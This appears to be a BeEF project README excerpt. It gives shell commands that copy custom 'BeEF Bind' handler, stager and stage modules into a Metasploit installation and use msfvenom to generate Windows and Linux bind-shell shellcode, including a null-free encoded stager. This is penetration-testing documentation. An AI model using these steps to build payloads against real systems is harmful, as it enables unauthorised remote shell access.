Note: the paths specified below relate to the Metasploit installation directory on Kali Linux. The paths may differ on your system.
Install Handler
Installing BeEF Bind payloads requires also installing a custom handler into framework:
sudo cp beef_bind-handler.rb /usr/share/metasploit-framework/lib/msf/core/handler/beef_bind.rb
Install Payloads
Payloads can be installed into the Metasploit Framework installation directory (for all users) or user's home directory ~/.msf4/modules/payloads/...
.
cp beef_bind-stage-windows-x86.rb /usr/share/metasploit-framework/modules/payloads/stages/windows/beef_shell.rb
cp beef_bind-stager-windows-x86.rb /usr/share/metasploit-framework/modules/payloads/stagers/windows/beef_bind.rb
cp beef_bind-stage-linux-x86.rb /usr/share/metasploit-framework/modules/payloads/stages/linux/x86/beef_shell.rb
cp beef_bind-stager-linux-x86.rb /usr/share/metasploit-framework/modules/payloads/stagers/linux/x86/beef_bind.rb
cp beef_bind-stage-linux-x64.rb /usr/share/metasploit-framework/modules/payloads/stages/linux/x64/beef_shell.rb
cp beef_bind-stager-linux-x64.rb /usr/share/metasploit-framework/modules/payloads/stagers/linux/x64/beef_bind.rb
Generating Payloads
Check it works:
msfvenom -l payloads | grep beef_bind
Dump stager and stage in C format:
msfvenom -p windows/beef_shell/beef_bind --format C
Dump stager in raw format:
msfvenom -p windows/beef_shell/beef_bind R > beef_bind-stager
Encode stager to remove nulls:
msfvenom -p windows/beef_shell/beef_bind R --bad-chars '\x00' > beef_bind-stager-nonull